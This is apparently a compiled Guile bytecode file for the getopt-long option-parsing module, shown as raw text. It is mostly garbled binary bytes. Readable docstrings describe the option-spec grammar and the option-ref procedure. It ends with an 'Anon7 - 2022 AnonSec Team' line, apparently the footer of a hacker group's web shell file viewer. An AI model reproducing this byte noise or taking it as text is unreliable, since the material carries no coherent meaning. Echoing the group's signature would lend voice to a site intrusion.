545$"	45�&		�"	4	5$4
	5
�
	"��k6"�
	�"��C$
�$4455�C"���"���4 56
"���4gspecs
	&gargument-ls	&gstop-at-first-non-option		&gidx		&gsc-idx		&g	unclumped		#gargument-ls		#gfound		#getc		#gspec			'(gls	
	'(gw		Fgx	
Fgt	Sgc	k�gt	
v�gspec	
��gextra	��gunclumped-opts	
��gt	gopt	
Ggt	9gspec	9Ggt	
Pgopt	`�gt	k�gspec	��gfilenamefice-9/getopt-long.scm�
�
��	�	
��	�	��	�	��	�	��	�	��	#�	��	'�	��	)�	��	,�	��	H�	��	N�	��	O�	��	T�	��	Y�	(��	[�	��	_�	
��	b�	��	h�	'��	y�	��	~�	����	$����	9����	-����	����	����	����	����	����	����	(����	����	
���	���	���	���	���	$���	9���	-��	��	��	#��(	
��.	��1	��8		��<	��K	��S
		��_
	��c
	��d	��k	��n	%��v	!���	%���	2���	%���	���	���	"���	���	���	$���	)���	*���	)���	$���	(���	2���	(���	$���	<���	@���	���	���	���	���	���	��
		��
!	��!	��"	!��"	��.#	!��2#	.��6#	!��9!	��G$	��H%	��P
		��Y'	��`'	��c(	!��k(	��z)	!��~)	.���)	!���'	���*	���*	���+	'���+	!���+	���,	#���,	���2	���2	,���2	���
		���/	���.	���0	���0	���0	���0	��		���	���	>���	H��&�	��|	&	gnamegprocess-options�C�R�(jko�a1YZ��0��	h�]�&
�"	454L5�&�"	45$"$"4>"G"�&		�"	45$6Cgspec
	�gname	%�gval		%�gpred	��gfilenamefice-9/getopt-long.scm�
]	��	^	��	_	��	%^	��	,`	��	G`	��	Ma	��	Rb	��	Vb	*��	]b	��	ld	 ���d	���e	���e	 ��	�C�1YZh0�]	4��&
�"	455�C�gspec+val
		.gs	
	)gfilenamefice-9/getopt-long.scm�
g	��	i	��	
i	?��	
i	,��	+i	��	,h	��		.Ch��-/03
#�Y454�5��45�4�5	4	O>"G4
>"G	��ZCZF�gprogram-arguments
	�goption-desc-list	�gstop-at-first-non-option		�gspecifications		,�gpair		6�gsplit-ls		;�gnon-split-ls		@�g	found/etc		M�gfound		R�grest-ls			^�
gfilenamefice-9/getopt-long.scm�
4
��	!T	��	$U	��	,U	��	/V	��	4V	!��	6V	��	6U	��	;W	��	;U	��	@X	��	@U	��	CY	��	MU	��	R[	��	RU	��	U\	��	Z\	��	^\	��	^U	��	a]	��	zg	���k	���k	���k	��	�	
gstop-at-first-non-optionS	�gnameggetopt-long�g
documentationf/Process options, handling both long and short options, similar to
the glibc function 'getopt_long'.  PROGRAM-ARGUMENTS should be a value
similar to what (program-arguments) returns.  OPTION-DESC-LIST is a
list of option descriptions.  Each option description must satisfy the
following grammar:

    <option-spec>           :: (<name> . <attribute-ls>)
    <attribute-ls>          :: (<attribute> . <attribute-ls>)
                               | ()
    <attribute>             :: <required-attribute>
                               | <arg-required-attribute>
                               | <single-char-attribute>
                               | <predicate-attribute>
                               | <value-attribute>
    <required-attribute>    :: (required? <boolean>)
    <single-char-attribute> :: (single-char <char>)
    <value-attribute>       :: (value #t)
                               (value #f)
                               (value optional)
    <predicate-attribute>   :: (predicate <1-ary-function>)

    The procedure returns an alist of option names and values.  Each
option name is a symbol.  The option value will be '#t' if no value
was specified.  There is a special item in the returned alist with a
key of the empty list, (): the list of arguments that are not options
or option values.
    By default, options are not required, and option values are not
required.  By default, single character equivalents are not supported;
if you want to allow the user to use single character options, you need
to add a `single-char' clause to the option description.�CR�h C]45$CC;goptions
		gkey		gdefault			gt			gfilenamefice-9/getopt-long.scm�
m
��	p	��	p	��			gnameg
option-ref�g
documentationfqReturn value in alist OPTIONS using KEY, a symbol; or DEFAULT if not found.
The value is either a string or `#t'.�C!RCVgm
		,grtd
|�gfilenamefice-9/getopt-long.scm�	�
��	-�	��	3�	"��	5�	��	8�
����
��$�
��E�
��7��
��=��
��?��
��?��	��?��	,��?��	��?��
��?��	��?��	,��?��	��?��
��?��	��?��	,��?��	��?��
��@��
��M��
��Y�4
��[Nm
��	[P
C6

Anon7 - 2022
AnonSec Team